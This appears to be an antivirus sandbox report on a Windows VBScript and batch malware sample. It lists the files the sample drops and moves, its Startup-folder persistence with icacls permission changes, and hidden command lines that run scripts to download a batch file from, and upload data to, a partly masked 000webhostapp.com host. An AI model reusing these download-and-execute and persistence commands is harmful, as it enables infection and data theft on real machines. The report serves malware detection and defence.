Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %LOCALAPPDATA%\dodos5345\update5345.vbs
Modifies file system
Creates the following files
- %TEMP%\ixp000.tmp\download.vbs
- %TEMP%\ixp000.tmp\h2sss.vbs
- %TEMP%\ixp000.tmp\ie.bat
- %TEMP%\ixp000.tmp\ie.vbs
- %TEMP%\ixp000.tmp\r1quit
- %TEMP%\ixp000.tmp\setup.bat
- %TEMP%\ixp000.tmp\start.bat
- %TEMP%\ixp000.tmp\upload.vbs
- nul
- %LOCALAPPDATA%\dodos5345\reg.bat
- %LOCALAPPDATA%\dodos5345\update5345.vbs
- %LOCALAPPDATA%\dodos5345\r1.bat
- %LOCALAPPDATA%\microsoft\windows\history\history.ie5\mshist012020051020200511\index.dat
Deletes the following files
- %TEMP%\ixp000.tmp\start.bat
Moves the following files
- from %TEMP%\ixp000.tmp\ie.vbs to %LOCALAPPDATA%\dodos5345\ie.vbs
- from %TEMP%\ixp000.tmp\ie.bat to %LOCALAPPDATA%\dodos5345\ie.bat
- from %TEMP%\ixp000.tmp\upload.vbs to %LOCALAPPDATA%\dodos5345\upload.vbs
- from %TEMP%\ixp000.tmp\h2sss.vbs to %LOCALAPPDATA%\dodos5345\h2sss.vbs
- from %TEMP%\ixp000.tmp\download.vbs to %LOCALAPPDATA%\dodos5345\download.vbs
- from %TEMP%\ixp000.tmp\setup.bat to %LOCALAPPDATA%\dodos5345\setup.bat
- from %TEMP%\ixp000.tmp\r1quit to %LOCALAPPDATA%\dodos5345\r1quit
Network activity
TCP
HTTP GET requests
- http://we#######45.000webhostapp.com/user:user19874
- http://we#######45.000webhostapp.com/write.php?fn#################
- http://we#######45.000webhostapp.com/favicon.ico
UDP
- DNS ASK we#######45.000webhostapp.com
Miscellaneous
Searches for the following windows
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\DODOS5345\ie.vbs" http://we#######45.000webhostapp.com/write.php?fn#################
- '<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\DODOS5345\download.vbs" user:user19874 %TEMP%\..\DODOS5345\new.bat %TEMP%\..\DODOS5345\setup.bat
- '<SYSTEM32>\cmd.exe' /c %TEMP%\IXP000.TMP\start.bat' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%LOCALAPPDATA%\DODOS5345\ie.bat" "' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%LOCALAPPDATA%\DODOS5345\setup.bat" "' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c %TEMP%\IXP000.TMP\start.bat
- '<SYSTEM32>\ping.exe' localhost /n 2
- '<SYSTEM32>\icacls.exe' "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" /t /remove user
- '<SYSTEM32>\icacls.exe' "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" /t /grant user:(F,MA
- '<SYSTEM32>\ping.exe' localhost /n
- '<SYSTEM32>\wscript.exe' "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Update5345.vbs"
- '%ProgramFiles%\internet explorer\iexplore.exe' -Embedding
- '<SYSTEM32>\cmd.exe' /c ""%LOCALAPPDATA%\DODOS5345\ie.bat" "
- '<SYSTEM32>\ping.exe' localhost /n 7
- '<SYSTEM32>\cmd.exe' /c ""%LOCALAPPDATA%\DODOS5345\setup.bat" "
- '<SYSTEM32>\ping.exe' localhost /n 160
